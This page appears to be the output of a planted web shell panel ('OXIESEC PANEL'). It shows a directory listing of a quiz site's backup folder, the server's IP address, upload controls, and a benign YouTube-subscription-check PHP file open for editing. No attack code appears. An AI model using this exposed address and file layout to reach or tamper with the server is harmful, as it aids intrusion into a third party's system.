OXIESEC PANEL
- Current Dir:
/
/
var
/
www
/
cream
/
quiz
/
backup
Server IP: 139.59.38.164
Upload:
Create Dir:
Name
Size
Modified
Perms
📁
..
-
05/19/2025 10:07:16 AM
rwxr-xr-x
📁
assets
-
02/15/2025 11:20:34 AM
rwxr-xr-x
📄
bregister.php
15.32 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
callback.php
871 bytes
05/19/2025 10:07:16 AM
rw-r--r--
📄
child_registration.php
9.47 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
dashboard copy.php
6.72 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
dashboard.php
5.94 KB
05/19/2025 10:07:16 AM
rw-r--r--
📁
data
-
02/15/2025 11:20:32 AM
rwxr-xr-x
📄
function.php
5.06 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
index.php
4.64 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
oauth.php
355 bytes
05/19/2025 10:07:16 AM
rw-r--r--
📁
old_backup
-
05/19/2025 10:07:16 AM
rwxr-xr-x
📁
payment
-
02/15/2025 11:20:34 AM
rwxr-xr-x
📄
payment.php
3.67 KB
05/19/2025 10:07:16 AM
rw-r--r--
📁
process
-
05/19/2025 10:07:16 AM
rwxr-xr-x
📄
register.php
10.96 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
sendOtp.php
2.32 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
styles.css
0 bytes
02/15/2025 11:21:44 AM
rw-r--r--
📄
subscription_check.php
1.39 KB
05/19/2025 10:07:16 AM
rw-r--r--
📄
verify.php
2.23 KB
05/19/2025 10:07:16 AM
rw-r--r--
Editing: callback.php
Close
<?php include 'assets/php/validate.logged.php'; // Include the functions file require_once('function.php'); // Step 1: Ensure the user is authenticated (access token is available) ensureAuthenticated(); // Step 2: Get the access token from session $access_token = getAccessTokenFromSession(); // Step 3: Fetch the user's subscriptions from the YouTube API $subscriptions_data = fetchYouTubeSubscriptions($access_token); var_dump($subscriptions_data); // Step 4: Provide the channel ID you want to check $channel_id_to_check = 'UC4MqIPSKb2FLYyPZQTDuqPQ'; // Replace with the channel ID you want to check // Step 5: Check if the user is subscribed to the specified channel $is_subscribed = checkIfSubscribed($subscriptions_data, $channel_id_to_check); // Step 6: Display the subscription status displaySubscriptionStatus($is_subscribed); ?>